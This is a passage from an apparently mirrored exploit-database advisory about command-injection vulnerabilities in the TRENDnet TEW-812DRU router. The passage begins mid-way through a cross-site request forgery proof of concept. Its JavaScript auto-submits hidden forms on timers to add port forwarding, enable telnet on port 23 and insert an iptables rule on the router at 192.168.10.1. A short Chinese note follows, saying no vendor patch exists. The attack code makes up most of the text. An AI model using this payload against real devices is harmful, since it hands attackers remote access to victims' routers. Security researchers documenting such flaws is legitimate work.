812DRU多个命令注入漏洞(CVE(2)

function createPage(){
    RF1();
    RF2();
    RF3();
    document.write('<iframe src="https://192.168.10.1/" target="_blank" frameborder="0"></iframe>');
}

function _portfwd(){
    document.portfwd.submit();
}

function _enable23(){
    document.enable23.submit();
}

function _ipTableRule(){
    document.ipTableRule.submit();i
}

//Called Functions
createPage()
   
for(var i = 0; i < 3; i++){
    if(i == 0){
        window.setTimeout(_portfwd, 1000);
    }
    else if(i == 1){
        window.setTimeout(_enable23, 2000);
    }
    else if(i == 2){
        window.setTimeout(_ipTableRule, 4000);
    }
    else{
        continue;
    }
}
</script>
</body>
</html>

Comments
No comments so far

&#169; Offensive Security 2013

建议：
--------------------------------------------------------------------------------
厂商补丁：

trendnet
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

?prod=100_TEW-812DRU&cat=41